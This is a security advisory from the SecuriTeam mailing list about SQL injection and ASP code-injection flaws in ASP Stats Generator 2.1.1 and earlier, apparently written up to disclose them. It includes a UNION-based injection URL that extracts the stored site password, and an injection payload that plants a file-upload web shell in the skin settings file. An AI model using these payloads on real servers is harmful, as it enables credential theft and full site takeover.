The following security advisory is sent to the securiteam mailing list, and can be found at the
SecuriTeam web site: http://www.securiteam.com

• • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

---

ASP Stats Generator Multiple Vulnerabilities (SQL Injection, Code
Execution)

SUMMARY

" <http://www.weppos.com/asg/en/default.asp&gt; ASP Stats Generator is a
powerful website counter, completely written in ASP programming language."

Improper filtering of user input allows attackers to execute arbitrary
code and SQL queries.

DETAILS

Vulnerable Systems:

• ASP Stats Generator 2.1.1 and prior

Immune Systems:

• ASP Stats Generator version 2.1.2

SQL Injection:
The following URL can be used to trigger an SQL injection vulnerability in
the pages.asp:
http://localhost/myasg/pages.asp?order=&#39;&amp;mese=1

Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression
'SUM(Visits) ''.
/myasg/pages.asp, line 236

Proof of Concept:
http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from
tblst_config&mese=1

ASP Code Injection:
Input passed to the strAsgSknPageBgColour (and …) in "settings_skin.asp"
isn't properly sanitized before being stored in the "inc_skin_file.asp".

This can be exploited to inject arbitrary ASP code.

<B>Proof of Concept:</B>
#F9F9F9" : dim path,hstr, mpath, content, filename:
mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content
= request("content"): filename = request("filename"): on error resume
next: Dim objFSO,f: Set objFSO = Server.CreateObject
("Scripting.FileSystemObject"): if not filename = "" then: response.Write(
"Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path =
filename: end if: if not content="" then: response.Write( "Contented.<BR>"
): set f = objFSO.CreateTextFile( path ): response.Write( err.Description
& "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>"
): f.close: end if %><%=filename%><BR><%=path%><BR><%= Request("path")
%><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1"
ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload
File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content"
rows="15" cols="46" ><%=content%></TEXTAREA></TD></TR><TR><TD><P
align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text"
name="filename" value="<%=filename%>" ></P><P align="center"><INPUT
type="submit" value="Upload" ID="Submit1"
NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error
goto 0: hstr = "
[m.r.roohian]
attacker can upload "cmd.asp" with this uploader and …

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> Hamid
Ebadi.
The original article can be found at:
<http://www.hamid.ir/security/aspstats.txt&gt;
http://www.hamid.ir/security/aspstats.txt

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
[email protected]
In order to subscribe to the mailing list, simply forward this email to:
[email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages.